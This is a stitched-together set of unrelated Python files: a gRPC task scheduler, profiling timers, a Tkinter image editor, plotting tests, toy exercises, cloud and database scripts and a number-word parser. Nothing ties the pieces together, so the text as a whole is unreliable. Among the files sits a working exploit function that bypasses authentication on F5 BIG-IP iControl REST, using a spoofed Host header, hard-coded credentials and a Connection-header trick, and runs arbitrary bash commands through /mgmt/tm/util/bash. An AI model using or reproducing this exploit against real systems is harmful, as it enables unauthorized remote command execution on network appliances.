        self.taskid_nodeid = {}

        self.cur_tasks = []
        self.next_task_id = 1

    def getQueue(self):
        return self.recodQ

    def generateID(self, ip, port):
        return len(self.node_ids)

    def join(self, ip, port, weight):
        id = self.generateID(ip, port)
        if id in self.nodes:
            return False
        self.nodes[id] = Node(ip, port)
        self.nodes_weights[id] = weight
        self.nodes_vals[id] = weight
        self.node_ids.append(id)
        self.free_nodes.add(id)
        return id, True
    def leave(self, id):
        if id not in self.nodes:
            return False
        self.nodes.pop(id)
        return True

    def updateInfo(self, id, info):
        if id not in self.nodes:
            print("invalid ")
            return False
        self.recodQ.put(info)
        self.nodes[id].update(info)
        return True

    def scheduler(self, task_type, task_sz):
        index = self.free_nodes.pop()

        ip = self.nodes[index].getIp()
        port = self.nodes[index].getPort()
        print(ip, port)
        return ip, port,index

    # def scheduler(self, task_type, task_sz):
    #     next_index = -1
    #     wt = 0
    #     for id in self.nodes_vals.keys():
    #         if self.nodes_vals[id] > wt:
    #             next_index = id
    #             wt = self.nodes_vals[id]
    #     if next_index == -1:
    #         for id in self.nodes_vals.keys():
    #             self.nodes_vals[id] = self.nodes_weights[id]
    #         return self.scheduler(task_type, task_sz)
    #     self.nodes_vals[next_index] -= 1
    #
    #     index = self.node_ids[next_index]
    #     ip = self.nodes[index].getIp()
    #     port = self.nodes[index].getPort()
    #     print(ip, port)
    #     return ip, port

    def getNodesNum(self):
        return len(self.nodes)
class MasterService(master_pb2_grpc.MasterServicer):
    ms = Master()
    # worker node join to the cluster
    # send the server port and ip to master
    def Join(self, request, context):
        ip = request.ip
        port = request.port
        weight = request.weight
        print("new join ",ip, port)
        id, res = self.ms.join(ip, port, weight)
        print("join id is ", id)
        print("available nodes num = ", len(self.ms.free_nodes))
        return master_pb2.JoinReply(id = id,success = res)

    def Leave(self, request, context):
        id = request.id
        res = self.ms.leave(id)
        return master_pb2.LeaveReply(res)

    def PushState(self, request, context):
        id = request.id
        print("heartbeat id is ", id)
        info = {}
        info['id'] = request.id
        info['utx'] = request.utx
        info['cpu_usage'] = request.cpu_usage
        info['task_id'] = request.task_id
        info['io_perf'] = request.io_perf
        info['pro_perf'] = request.pro_perf
        info['task_st'] = request.task_st
        info['task_ed'] = request.task_ed

        # if request.task_st != 0:
            # print(request.task_id, request.io_perf, request.pro_perf, request.task_st, request.task_ed)
        # else:
            # print(id, request.utx ,request.cpu_usage)
        # print(id, request.io_perf, request.pro_perf)
        self.ms.updateInfo(id, info)
        return master_pb2.SateReply()

    # make weight high node to front
    def add_task_by_weight(self,task):
        l = len(self.ms.cur_tasks)
        t = 0
        for i in range(l-1,-1,-1):
            if(task[1]>self.ms.cur_tasks[i][1]):
                t = i
            else:
                break
        self.ms.cur_tasks.insert(t,task)
        return

    # send target server info to client
    def RouteGuide(self, request, context):
        # if self.ms.getNodesNum() == 0:
        #     return master_pb2.RouteReply(ip = "", port = 555, thread_num = 2)
        # print("available nodes num = ", len(self.ms.free_nodes))
        flag = request.task_id    # 0 request ,1 task finish

        if flag == 1 :
            task__id = request.task_type
            node_id = self.ms.taskid_nodeid[task__id]

            self.ms.free_nodes.add(node_id)
            print("task=",task__id,"is finished,now free server nums =",self.ms.free_nodes)
            return master_pb2.RouteReply(ip="true", port=0)
        else:

            task_type = request.task_type
            task_sz = request.task_sz
            task_id = self.ms.next_task_id

            self.ms.next_task_id += 1
            print("cur task is task id = ", task_id,", weight = ", task_sz)
            if (len(self.ms.free_nodes) > 0):
                next_ip, next_port,nodeid = self.ms.scheduler(task_type, task_sz)
                self.ms.taskid_nodeid[task_id] = nodeid
            else:
                if sched_type == 'FIFO':
                    self.ms.cur_tasks.append([task_id,task_sz])
                else:
                    self.add_task_by_weight([task_id,task_sz])
                print("Waiting : no available server ,add to the task queue...")
                while True:
                    if len(self.ms.free_nodes) > 0:
                        if self.ms.cur_tasks[0][0] == task_id:
                            next_ip, next_port, nodeid = self.ms.scheduler(task_type, task_sz)
                            self.ms.cur_tasks.pop(0)
                            self.ms.taskid_nodeid[task_id] = nodeid
                            break
                    time.sleep(2)   # wait for available nodes

            print("task id = ", task_id,", weight = ", task_sz," schedle to", next_ip, next_port)
            return master_pb2.RouteReply(ip = next_ip, port = task_id)

    def getQ(self):
        return self.ms.getQueue()

if __name__ == "__main__":
    server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))
    service = MasterService()
    master_pb2_grpc.add_MasterServicer_to_server(service, server)
    #bind a port
    server.add_insecure_port('[::]:50051')
    server.start()
    recordP = Process(target = recordHeartBeat, args = (service.getQ(), "heartbeat"))
    recordP.start()
    try:
        while True:
            time.sleep(60*60*24)
    except KeyboardInterrupt:
        server.stop(0)


# -*- coding: utf-8 -*-
#関数計測
import functools
import time
from collections import defaultdict
try:
	import cProfile as profile
	import pstats
except: pass

def profileFunction(sortKey="time", rows=30):
	def _(f):
		@functools.wraps(_)
		def __(*fargs, **fkwargs):
			prof = profile.Profile()
			ret = prof.runcall(f, *fargs, **fkwargs)
			pstats.Stats(prof).strip_dirs().sort_stats(sortKey).print_stats(rows)

			return ret

		return __
	return _

#周回カウンター
class LapCounter():
    lap_times = 0
    lap_list = []
    def __init__(self):
        self.start = time.time()

    def count(self, string=''):
        self.end = time.time()
        lap_str = 'lap_time :', string, self.lap_times, ':', self.end - self.start
        self.lap_list.append(lap_str)
        self.lap_times += 1
        self.start = time.time()

    def lap_print(self, print_flag=True, window=None):
        total_time = time.time()  - self.all_start

        if window:
            out_put_time = '{:.5f}'.format(total_time)
            #ウィンドウに計算時間表示
            try:
                window.time_label.setText('- Calculation Time - '+out_put_time+' sec')
            except Exception as e:
                print('{}'.format(e))
                pass

        if print_flag:#表示するかどうかをグローバル変数で管理
            print('----------------------------------')
            for lap_time in self.lap_list:
                print(lap_time)
            print('total_time :', total_time)

    def reset(self):
        self.all_start = time.time()
        self.start = time.time()
        self.lap_list = []

#積算カウンター,同名文字列の処理時間を積算していく
#for文を細かく処理負荷解析したいときに
class IntegrationCounter():
    def __init__(self):
        self.start = time.time()
        self.integration_dict = defaultdict(lambda : 0)

    def count(self, string=''):
        self.end = time.time()
        self.integration_dict[string] += self.end - self.start
        self.start = time.time()

    def integration_print(self, print_flag=True, window=None):
        for string, integration in self.integration_dict.items():
            print('Integration time :', string, integration)

    def reset(self):
        self.all_start = time.time()
        self.start = time.time()
        self.lap_list = []
        self.integration_dict = {}
        self.integration_dict = defaultdict(lambda : 0)


from PIL import Image, ImageTk, ImageFilter
import tkinter as tk
from tkinter import filedialog as fd

im = None
tk_img = None

# 파일 메뉴에서 “열기”를 선택하였을 때 호출되는 함수
def open():
    global im, tk_img, xsize, ysize
    fname = fd.askopenfilename()
    im = Image.open(fname)
    tk_img = ImageTk.PhotoImage(im)
    canvas.create_image(250, 250, image=tk_img)
    xsize, ysize = im.size
    window.update()

# 파일 메뉴에서 “종료”를 선택하였을 때 호출되는 함수
def quit():
    window.quit()

def image_reset():
    global im, tk_img
    tk_img = ImageTk.PhotoImage(im)
    canvas.create_image(250, 250, image=tk_img)
    window.update()

# 영사처리 메뉴에서 “열기”를 선택하였을 때 호출되는 함수
def image_rotate():
    global im, tk_img
    out = im.rotate(45)
    tk_img = ImageTk.PhotoImage(out)
    canvas.create_image(250, 250, image=tk_img)
    window.update()

# 영사처리 메뉴에서 “열기”를 선택하였을 때 호출되는 함수
def image_blur():
    global im, tk_img
    out = im.filter(ImageFilter.BLUR)
    tk_img = ImageTk.PhotoImage(out)
    canvas.create_image(250, 250, image=tk_img)
    window.update()

# 영사처리 메뉴에서 “열기”를 선택하였을 때 호출되는 함수
def image_contour():
    global im, tk_img
    out = im.filter(ImageFilter.CONTOUR)
    tk_img = ImageTk.PhotoImage(out)
    canvas.create_image(250, 250, image=tk_img)
    window.update()

def image_gray():
    global im, tk_img
    out= im.convert("L")
    tk_img = ImageTk.PhotoImage(out)
    canvas.create_image(250, 250, image=tk_img)
    window.update()

def image_2():
    global im, tk_img
    out= im.resize((xsize*2, ysize*2))
    tk_img = ImageTk.PhotoImage(out)
    canvas.create_image(250, 250, image=tk_img)
    window.update()

def image_select():
    global im, tk_img, b1, b2, b3

    b1= canvas.bind("<B1-Motion>", paint)
    b2= canvas.bind("<ButtonPress-1>", press)
    b3= canvas.bind("<ButtonRelease-1>", release)

def press(event):
    global px, py, item
    px= event.x
    py= event.y
    item= canvas.create_rectangle(px, py, px+1, py+1, fill="")

def release(event):
    global im, tk_img, item, px, py, x, y
    x= event.x
    y= event.y

    canvas.delete(item)
    print(px, py, event.x, event.y)

    canvas.unbind("<B1-Motion>", b1)
    canvas.unbind("<ButtonPress-1>", b2)
    canvas.unbind("<ButtonRelease-1>", b3)

    out= im.crop((px, py, x, y))
    out= out.resize((xsize, ysize))
    tk_img = ImageTk.PhotoImage(out)
    canvas.create_image(250, 250, image=tk_img)
    window.update()

def paint(event):
    global px, py, item
    canvas.delete(item)
    item= canvas.create_rectangle(px, py, event.x, event.y, fill="")

# 윈도우를 생성한다.
window = tk.Tk()
canvas = tk.Canvas(window, width=500, height=500)
canvas.pack()

# 메뉴를 생성한다.
menubar = tk.Menu(window)
filemenu = tk.Menu(menubar)
ipmenu = tk.Menu(menubar)
filemenu.add_command(label="열기", command=open)
filemenu.add_command(label="종료", command=quit)
ipmenu.add_command(label="영상복구", command=image_reset)
ipmenu.add_command(label="영상회전", command=image_rotate)
ipmenu.add_command(label="영상흐리게", command=image_blur)
ipmenu.add_command(label="영상윤곽선", command=image_contour)
ipmenu.add_command(label="영상흑백", command=image_gray)
ipmenu.add_command(label="영상*2", command=image_2)
ipmenu.add_command(label="영상선택", command=image_select)
menubar.add_cascade(label="파일", menu=filemenu)
menubar.add_cascade(label="영상처리", menu=ipmenu)

window.config(menu=menubar)
window.mainloop()


"""Test plotting functions."""
import unittest
import logging
import os
import numpy as np
from numpy.random import random
from skpar.dftbutils.queryDFTB import get_bandstructure
from skpar.dftbutils.plot import plot_bs, magic_plot_bs
from skpar.core.database import Database
from skpar.core.plot import skparplot

np.set_printoptions(precision=2, suppress=True)

logging.basicConfig(level=logging.DEBUG)
logging.basicConfig(format="%(message)s")
LOGGER = logging.getLogger(__name__)

def init_test_plot_bs(basename):
    """Some common initialisation for the test_plot_bs_*"""
    twd = "_workdir/test_plot"
    filename = os.path.join(twd, basename)
    if os.path.exists(filename):
        os.remove(filename)
    else:
        os.makedirs(twd, exist_ok=True)
    bsdata = np.loadtxt("reference_data/fakebands.dat", unpack=True)
    return filename, bsdata

class BandstructurePlotTest(unittest.TestCase):
    """Test bandstructure plotting back-end and magic"""

    def test_plot_bs_1(self):
        """Can we plot a bandsturcture, given as a x, and y array?"""
        filename, bsdata = init_test_plot_bs("test_plot_bs_1.pdf")
        xx1 = bsdata[0]
        yy1 = bsdata[1:]
        xtl = None
        fig, _ax = plot_bs(
            xx1,
            yy1,
            ylim=(-2.5, 2.5),
            xticklabels=xtl,
            linelabels=["ref", "model"],
            title="Test 1 array",
            xlabel=None,
        )
        fig.savefig(filename)
        self.assertTrue(os.path.exists(filename))

    def test_plot_bs_2(self):
        """Can we plot a two bandsturctures with shared k-points?"""
        filename, bsdata = init_test_plot_bs("test_plot_bs_2.pdf")
        xx1 = bsdata[0]
        yy1 = bsdata[1:]
        jitter = 0.1 * (0.5 - random(yy1.shape))
        yy2 = yy1 + jitter
        xtl = [(1, "X"), (6, "Gamma"), (10, "L")]
        plot_bs(
            xx1,
            [yy1, yy2],
            ylim=(-2.5, 2.5),
            xticklabels=xtl,
            linelabels=["ref", "model"],
            title="Test 2 array common X",
            xlabel=None,
            filename=filename,
        )
        self.assertTrue(os.path.exists(filename))

    def test_plot_bs_3(self):
        """Can we plot a two bandsturctures with 2 sets of k-points?"""
        filename, bsdata = init_test_plot_bs("test_plot_bs_3.pdf")
        xx1 = bsdata[0]
        yy1 = bsdata[1:]
        jitter = 0.1 * (0.5 - random(yy1.shape))
        yy2 = yy1 + jitter
        xtl = [(1, "X"), (6, "Gamma"), (11, "L")]
        plot_bs(
            [xx1, xx1],
            [yy1, yy2],
            ylim=(-2.5, 2.5),
            xticklabels=xtl,
            linelabels=["ref", "model"],
            title="Test 2 bands 2 kpts",
            xlabel=None,
            filename=filename,
        )
        self.assertTrue(os.path.exists(filename))

    def test_plot_bs_4(self):
        """Can we plot a two bandsturctures with 2 different of k-points?"""
        filename, bsdata = init_test_plot_bs("test_plot_bs_4.pdf")
        xx1 = bsdata[0]
        yy1 = bsdata[1:]
        j = 6
        jitter = 0.1 * (0.5 - random(yy1[:j, :8].shape))
        yy2 = yy1[:j, :8] + jitter
        xx2 = xx1[:8]
        xtl = [(1, "X"), (6, "Gamma"), (8, "K"), (11, "L")]
        plot_bs(
            [xx1, xx2],
            [yy1, yy2],
            ylim=(-2.5, 2.5),
            xticklabels=xtl,
            linelabels=["ref", "model"],
            title="Test 2 bands 2 (different) kpts",
            xlabel=None,
            filename=filename,
        )
        self.assertTrue(os.path.exists(filename))

    def test_magic_plot_bs_1(self):
        """Can we call the magic without the need for magic?"""
        filename, bsdata = init_test_plot_bs("test_magic_plot_bs_1.pdf")
        xx1 = bsdata[0]
        yy1 = bsdata[1:]
        jitter = 0.1 * (0.5 - random(yy1.shape))
        yy2 = yy1 + jitter
        xx2 = xx1
        xtl = [(1, "X"), (6, "Gamma"), (8, "K"), (11, "L")]
        magic_plot_bs(
            [xx1, xx2],
            [yy1, yy2],
            filename=filename,
            ylim=(-2.5, 2.5),
            xticklabels=xtl,
            linelabels=["ref", "model"],
            title="Test magic without gap",
            xlabel=None,
        )
        self.assertTrue(os.path.exists(filename))

    def test_magic_plot_bs_2(self):
        """Can we call the magic with gap?"""
        filename, bsdata = init_test_plot_bs("test_magic_plot_bs_2.pdf")
        xx1 = bsdata[0]
        yy1 = bsdata[1:]
        jitter = 0.1 * (0.5 - random(yy1.shape))
        yy2 = yy1 + jitter
        xx2 = xx1
        xtl = [(1, "X"), (6, "Gamma"), (8, "K"), (11, "L")]
        eg1 = np.atleast_1d(0.3)
        eg2 = np.atleast_1d(0.4)
        magic_plot_bs(
            [xx1, xx2, xx1, xx2],
            [eg1, eg2, yy1[:4], yy2[:4], yy1[4:], yy2[4:]],
            filename=filename,
            ylim=(-2.5, 2.5),
            colors=["b", "darkred", "b", "darkred"],
            xticklabels=xtl,
            linelabels=["ref", "model"],
            title="Test magic 2 Eg Eg VB VB CB CB",
            xlabel=None,
        )
        self.assertTrue(os.path.exists(filename))

    def test_magic_plot_bs_3(self):
        """Can we call the magic with gap (alternative yval order)?"""
        filename, bsdata = init_test_plot_bs("test_magic_plot_bs_3.pdf")
        xx1 = bsdata[0]
        yy1 = bsdata[1:]
        jitter = 0.1 * (0.5 - random(yy1.shape))
        yy2 = yy1 + jitter
        xx2 = xx1
        xtl = [(1, "X"), (6, "Gamma"), (8, "K"), (11, "L")]
        eg1 = np.atleast_1d(0.3)
        eg2 = np.atleast_1d(0.4)
        magic_plot_bs(
            [xx1, xx1, xx2, xx2],
            [eg1, yy1[:4], yy1[4:], eg2, yy2[:4], yy2[4:]],
            filename=filename,
            ylim=(-2.5, 2.5),
            colors=["b", "b", "r", "r"],
            xticklabels=xtl,
            linelabels=["ref", None, "model", None],
            title="Test magic 3 Eg VB CB Eg VB CB",
            xlabel=None,
        )
        self.assertTrue(os.path.exists(filename))

class GenericPlotTaskTest(unittest.TestCase):
    """Test generic plot-task from tasksdict for  1D and 2D plots"""

    def test_skparplot(self):
        """Can we plot a band-structure objectives?"""
        env = {}
        database = Database()
        latticeinfo = {"type": "FCC", "param": 5.4315}
        model = "Si.bs"
        filename = "_workdir/test_plot/bs1.pdf"
        get_bandstructure(
            env, database, "test_dftbutils/Si/bs/", model, latticeinfo=latticeinfo
        )
        modeldb = database.get(model)
        bands = modeldb["bands"]
        eps = 0.25
        jitter = eps * (0.5 - random(bands.shape))
        altbands = bands + jitter
        if os.path.exists(filename):
            os.remove(filename)
        else:
            os.makedirs("_workdir/test_plot", exist_ok=True)
        skparplot(
            modeldb["kvector"],
            [altbands, bands],
            filename=filename,
            xticklabels=modeldb["kticklabels"],
            xlabel="wave-vector",
            ylabel="Energy, eV",
            linelabels=["ref", "model"],
            ylim=(-13, 6),
        )
        self.assertTrue(os.path.exists(filename))

if __name__ == "__main__":
    unittest.main()


dimension = 600
curvas = []
step = 20
n = dimension/step - 8 # controls number of lines

def setup():
    size(dimension, dimension) # size of canvas
    background(0)
    stroke(255, 255, 255)
    strokeWeight(3)

    curvas[:] = []
    for i in range(n):
        curvas.append((random(-height/6,height/6),
                  random(-height/6, height/6),
                  random(.33, 1),
                  random(.33, 1),
                  random(.33, 1),))

def draw():

    # create frame
    beginShape()
    fill(0)
    vertex(0,0)
    vertex(width,0)
    vertex(width,height)
    vertex(0,height)
    endShape(CLOSE)

    # iterate
    for i, (h, a, f1, f2, f3) in enumerate(curvas):

        # makes a curved line with fill below it
        beginShape()
        fill(0)
        for x in range(width):
            ang = x/15.
            s = sin(ang * f1) + sin(ang * f2) + sin(ang * f3)

            ypoint = (- h + 10 + s/2 * a) / 150

            distanceToCenter = abs(x - dimension / 2)
            variance = max(dimension / 2 - 50 - distanceToCenter, 0)
            rand = ypoint * variance / 2 * -1

            vertex(x, (rand + (i*step) + 4 * step))

        vertex(width,height)
        vertex(0,height)
        endShape(CLOSE)

def keyPressed():
        saveFrame("####.png")


from time import *
import random as r

def mistake(par_test, user_test):
    error = 0
    for i in range(len(par_test)):
        try:
            if par_test[i] != user_test[i]:
                error = error + 1
        except:
            error = error + 1
    return error

def speed_time(time_start, time_end, user_input):
    time_delay = time_end - time_start
    time_R = round(time_delay, 2)
    speed = len(user_input) / time_R
    return round(speed)

if __name__ == '__main__':
    while True:
        ck = input("Ready to test : Yes / No : ")
        if ck == "Yes":
            test = [
                "A paragraph is a self-contained unit of discourse in writing dealing with a particular point or idea. ",
                "My name is Muneeb ", "wellcome to my github 99muneeb"]
            test1 = r.choice(test)
            print("**********Typing speed************")
            print(test1)
            print()
            print()
            time_1 = time()

            testinput = input(" Enter : ")
            time_2 = time()

            print("Speed :  ", speed_time(time_1, time_2, testinput), "w/sec")
            print("Error: ", mistake(test1, testinput))
        elif ck == "No":
            print("Thank you")
            break
        else:
            print("wrong input: ")


import requests
import urllib3

urllib3.disable_warnings()

def exploit(target, command):
    url = f"https://{target}/mgmt/tm/util/bash"
    headers = {
        "Host": "127.0.0.1",
        "Authorization": "Basic YWRtaW46aG9yaXpvbjM=",
        "X-F5-Auth-Token": "asdf",
        "Connection": "X-F5-Auth-Token",
        "Content-Type": "application/json",
    }
    j = {"command": "run", "utilCmdArgs": "-c '{0}'".format(command)}
    response = requests.post(url, headers=headers, json=j, verify=False, timeout=10)
    response.raise_for_status()  # raises exception when not a 2xx response
    if response.status_code != 204 and response.headers[
        "content-type"
    ].strip().startswith("application/json"):
        result = {"message": response.json()["commandResult"].strip()}
    else:
        result = {
            "message": "Response is empty! Target does not seems to be vulnerable.."
        }

    return result


def quicksort(x):
    if len(x) == 1 or len(x) == 0:
        return x

    p = x[0]
    i = 0
    for j in range(len(x)-1):
        if x[j+1] < p:
            x[j+1],x[i+1] = x[i+1], x[j+1]
            i += 1
    x[0],x[i] = x[i],x[0]
    first = quicksort(x[:i])
    second = quicksort(x[i+1:])
    first.append(x[i])
    return first + second

def bubble_sort(x):
    for start_index in range( len(x)-1 ):
        for index in range( 1, len(x) - start_index ):
            if x[index-1] > x[index]:
                x[index-1],x[index]=x[index],x[index-1]
    return x
#made by dukup11ch1
#sort module


import os
import csv

from sqlalchemy import create_engine
from sqlalchemy.orm import scoped_session, sessionmaker
import datetime

# check for environment varialbe
if not os.getenv("DATABASE_URL"):
    raise RuntimeError("DATABASE_URL is not set")

# set up database
engine = create_engine(os.getenv("DATABASE_URL"))
db = scoped_session(sessionmaker(bind=engine))

startTime = datetime.datetime.now()
print(f"starting actions at:{startTime}")

f = open("books.csv")
reader = csv.reader(f)
i = 1
endtime = None
for isbn, title, author, year in reader:

    i += 1
    endtime = datetime.datetime.now()

    if title == "title":
        print("Skipping 1st row")
    else:
        db.execute("INSERT INTO public.books (isbn, title, author, year) VALUES (:isbn, :title, :author, :year)", {
            "isbn": isbn, "title": title, "author": author, "year": year})
        print(f"{i} book added successfully at {endtime}")

db.commit()
timeDiff = endtime - startTime
timeDiffSeconds = timeDiff.seconds
print(f"Total time to complete action: {timeDiff} ")
print(f"Total time to complete action in seconds: {timeDiffSeconds} ")


# Exploring the Bitcoin market

import time, requests, json
import datetime as dt

# API access key
CMC_PRO_API_KEY = 'xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx'

# URL query and formatting
url = 'https://sandbox-api.coinmarketcap.com/v1/cryptocurrency/listings/latest'
parameters = {
  'start':'1',
  'limit':'5000',
  'convert':'USD'
}

headers = {
  'Accepts': 'application/json',
  'X-CMC_PRO_API_KEY': CMC_PRO_API_KEY,
}

# fetch query
r = requests.get(url, headers=headers)

# checking for errors when fetching
if r.status_code == 200:
  response = json.loads(r.text)

# dump json file
with open('BTC_data.json','w') as f:
  json.dump(response, f)


def esMayor():
    print("Introduzca su edad: ")
    edad = input()
    if (int(edad)<18):
        print("Es menor de edad")
    else:
        print("Es mayor de edad")

def esTributario():
    noTributa = "No tiene que tributar"
    print("Introduzca su edad: ")
    edad = input()
    if int(edad)<16:
        print(noTributa)
    else:
        print("Introduzca sus ingresos mensuales: ")
        ingresos = input()
        if int(ingresos)<1000:
            print(noTributa)
        else:
            print("Tiene que tributar")

def esGrupo():
    hombre = "Hombre"
    mujer = "Mujer"
    print("Introduzca su nombre: ")
    nombre = input()
    lista1 = ("ABCEFGHIJKLM")
    letra = nombre[:1]
    resultado = lista1.count(letra)
    print("Introduzca su sexo: Hombre/Mujer")
    sexo = input()
    if ((sexo==mujer)and(resultado==1))or((sexo==hombre)and(resultado==0)):
        print("Grupo A")
    else:
        print("Grupo B")

def IRPF():
    print("Introduzca su renta anual: ")
    renta = input()
    rentaInt = int(renta)
    if rentaInt < 10000:
        print("Tipo del 5%")
    elif rentaInt < 20000:
        print("Tipo del 15%")
    elif rentaInt < 35000:
        print("Tipo del 20%")
    elif rentaInt < 60000:
        print("Tipo del 30%")
    else:
        print("Tipo del 45%")

def capital():
    print("Introduzca cantidad a invertir: ")
    cantidad = input()
    print("Introduzca el interes anual: ")
    interes = input()
    print("Introduzca los años: ")
    años = input()
    resultado = int(cantidad) + (int(cantidad) * int(interes) / 100 * int(años))
    print("El capital que obtiene es de " + str(resultado) + " €")

def bonificacion():
    bonificacion = 2400
    inaceptable = 0
    aceptable = 0.4
    meritorio = 0.6
    puntos = float(input("Introduce tu puntuación: "))
    # Clasifiación por niveles de rendimiento
    if puntos == inaceptable:
        nivel = "Inaceptable"
    elif puntos == aceptable:
        nivel = "Aceptable"
    elif puntos >= 0.6:
        nivel = "Meritorio"
    else:
        nivel = ""
    # Mostrar nivel de rendimiento
    if nivel == "":
        print("Esta puntuación no es válida")
    else:
        print("Tu nivel de rendimiento es %s" % nivel)
        print("Te corresponde cobrar %.2f€" % (puntos * bonificacion))

def pizza():
    # Presentación del menú con los tipos de pizza
    print("Bienvenido a la pizzeria Bella Napoli.\nTipos de pizza\n\t1- Vegetariana\n\t2- No vegetariana\n")
    tipo = input("Introduce el número correspondiente al tipo de pizza que quieres:")
    # Decisión sobre el tipo de pizza
    if tipo == "1":
        print("Ingredientes de pizzas vegetarianas\n\t 1- Pimiento\n\t2- Tofu\n")
        ingrediente = input("Introduce el ingrediente que deseas: ")
        print("Pizza vegetariana con mozzarella, tomate y ", end="")
        if ingrediente == "1":
            print("pimiento")
        else:
            print("tofu")
    else:
        print("Ingredientes de pizzas no vegetarianas\n\t1- Peperoni\n\t2- Jamón\n\t3- Salmón\n")
        ingrediente = input("Introduce el ingrediente que deseas: ")
        print("Pizza no vegetarina con mozarrella, tomate y ", end="")
        if ingrediente == "1":
            print("peperoni")
        elif ingrediente == "2":
            print("jamón")
        else:
            print("salmón")


import os
import boto3
import wget
import json
import sys
import numpy as np
from cv2 import imread, resize, IMREAD_GRAYSCALE

stack_name = sys.argv[1]
commit_id = sys.argv[2]
endpoint_name = f"{stack_name}-{commit_id[:7]}"

runtime = boto3.client("runtime.sagemaker")

s3 = boto3.resource('s3')
s3_bucket, s3_key = 'ml-sa-book', 'sample_9.png'

img = s3.Bucket(s3_bucket).download_file(s3_key, 'test.png')
test_file = "test.png"

#IMAGE_URL = "https://aws-mlops-samples.s3-eu-west-1.amazonaws.com/mnist_output_10.png"
#IMAGE_URL = "https://test-mlops-bucket-118.s3.amazonaws.com/sample_9.png"
#test_file = "test.jpg"
#wget.download(
#    IMAGE_URL,
#    test_file,
#)

image = imread(test_file, IMREAD_GRAYSCALE)
image = resize(image, (28, 28))
image = image.astype("float32")
image = image.reshape(1, 1, 28, 28)

payload = json.dumps(image.tolist())
response = runtime.invoke_endpoint(
    EndpointName=endpoint_name, Body=payload, ContentType="application/json"
)

result = response["Body"].read()
result = json.loads(result.decode("utf-8"))
print(f"Probabilities: {result}")

np_result = np.asarray(result)
prediction = np_result.argmax(axis=1)[0]
print(f"This is your number: {prediction}")

if prediction != 5:
    print("Model prediction failed.")
    sys.exit(1)

if os.path.exists(test_file):
    os.remove(test_file)
else:
    print("The file does not exist")


from urllib.parse import urlencode

from django import template

from drf_user_activity_tracker_mongodb.utils import CustomPaginator

register = template.Library()

@register.simple_tag
def under_score_tag(obj, attribute):
    obj = dict(obj)
    return obj.get(attribute)

@register.simple_tag
def clean_url_encode(data, remove):
    attrs = data.copy()
    if remove in data:
        attrs.pop(remove)
    return urlencode(attrs)

@register.simple_tag
def get_proper_elided_page_range(p, count, number, on_each_side=3, on_ends=2):
    paginator = CustomPaginator(p.dataset, count, p.per_page)
    return paginator.get_elided_page_range(number=number,
                                           on_each_side=on_each_side,
                                           on_ends=on_ends)


import rdflib
import requests
import os

# Put the repository URL from Graph DB here
repo_url = "http://192.168.1.106:7200/repositories/tinyml2022_v2"
file_name = "tflite_models.ttl"
file_path = os.path.join(os.getcwd(), "semantic_schema", file_name)
url = repo_url + "/statements"
headers = {'Content-type': 'text/turtle',}

######## 1. If the ttl file is serialized by rdflib ########
# g = rdflib.Graph()
# # Specific which ttl file is to be pushed to the Graph DB
# g.parse(file_path)
# # print(g.serialize(format='turtle').decode())
# # Use a request to post the ttl to Graph DB
# response = requests.post(url, headers=headers, data=g.serialize(format='turtle'))
# g.close()

######## 2. If the ttl file is just in a plain text format ########
with open(file_path, 'r') as f:
    # Use a request to post the ttl to Graph DB
    response = requests.post(url, headers=headers, data=f.read())


import pyparsing as pp
from operator import mul

def define_numeric_word_range(
    names: str, from_: int, to_: int = None, step: int = 1
) -> pp.MatchFirst:
    """
    Compose a MatchFirst of CaselessKeywords, given their names and values,
    which when parsed, are converted to their value
    """

    def define_numeric_word(nm: str, val: int):
        return pp.CaselessKeyword(nm).add_parse_action(lambda: val)

    names = names.split()
    if to_ is None:
        to_ = from_
    values = range(from_, to_ + 1, step)
    ret = pp.MatchFirst(
        define_numeric_word(name, value) for name, value in zip(names, values)
    )

    if len(names) == 1:
        ret.set_name(names[0])
    else:
        ret.set_name(f"{names[0]}-{names[-1]}")

    return ret

def multiply(t):
    """
    Parse action for hundreds and thousands.
    """
    return mul(*t)

opt_dash = pp.Opt(pp.Suppress("-")).set_name("'-'")
opt_and = pp.Opt((pp.CaselessKeyword("and") | "-").suppress()).set_name("'and/-'")

units = define_numeric_word_range("one two three four five six seven eight nine", 1, 9)
teens_only = define_numeric_word_range(
    "eleven twelve thirteen fourteen fifteen sixteen seventeen eighteen nineteen",
    11,
    19,
)
ten = define_numeric_word_range("ten", 10)
teens = ten | teens_only

tens = define_numeric_word_range(
    "twenty thirty forty fifty sixty seventy eighty ninety", 20, 90, 10
)
one_to_99 = (units | teens | (tens + pp.Opt(opt_dash + units))).set_name("1-99")
one_to_99.add_parse_action(sum)

hundred = define_numeric_word_range("hundred", 100)
thousand = define_numeric_word_range("thousand", 1000)

hundreds = (units | teens_only | (tens + opt_dash + units)) + hundred
hundreds.set_name("100s")

one_to_999 = (
    (pp.Opt(hundreds + opt_and) + one_to_99 | hundreds).add_parse_action(sum)
).set_name("1-999")

thousands = one_to_999 + thousand
thousands.set_name("1000s")

# for hundreds and thousands, must scale up (multiply) accordingly
hundreds.add_parse_action(multiply)
thousands.add_parse_action(multiply)

numeric_expression = (
    pp.Opt(thousands + opt_and) + pp.Opt(hundreds + opt_and) + one_to_99
    | pp.Opt(thousands + opt_and) + hundreds
    | thousands
).set_name("numeric_words")

# sum all sub-results into total
numeric_expression.add_parse_action(sum)

if __name__ == "__main__":
    numeric_expression.run_tests(
        """
        one
        seven
        twelve
        twenty six
        forty-two
        two hundred
        twelve hundred
        one hundred and eleven
        ninety nine thousand nine hundred and ninety nine
        nine hundred thousand nine hundred and ninety nine
        nine hundred and ninety nine thousand nine hundred and ninety nine
        nineteen hundred thousand nineteen hundred and ninety nine

        # invalid
        twenty hundred
        """,
        postParse=lambda _, s: "{:,}".format(s[0]),
    )

    # create railroad diagram
    numeric_expression.create_diagram("numeric_words_diagram.html", vertical=5)


#
# (c) 2008 Mandriva, http://www.mandriva.com/
#
# $Id$
#
# This file is part of Pulse 2, http://pulse2.mandriva.org
#
# Pulse 2 is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# Pulse 2 is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Pulse 2; if not, write to the Free Software
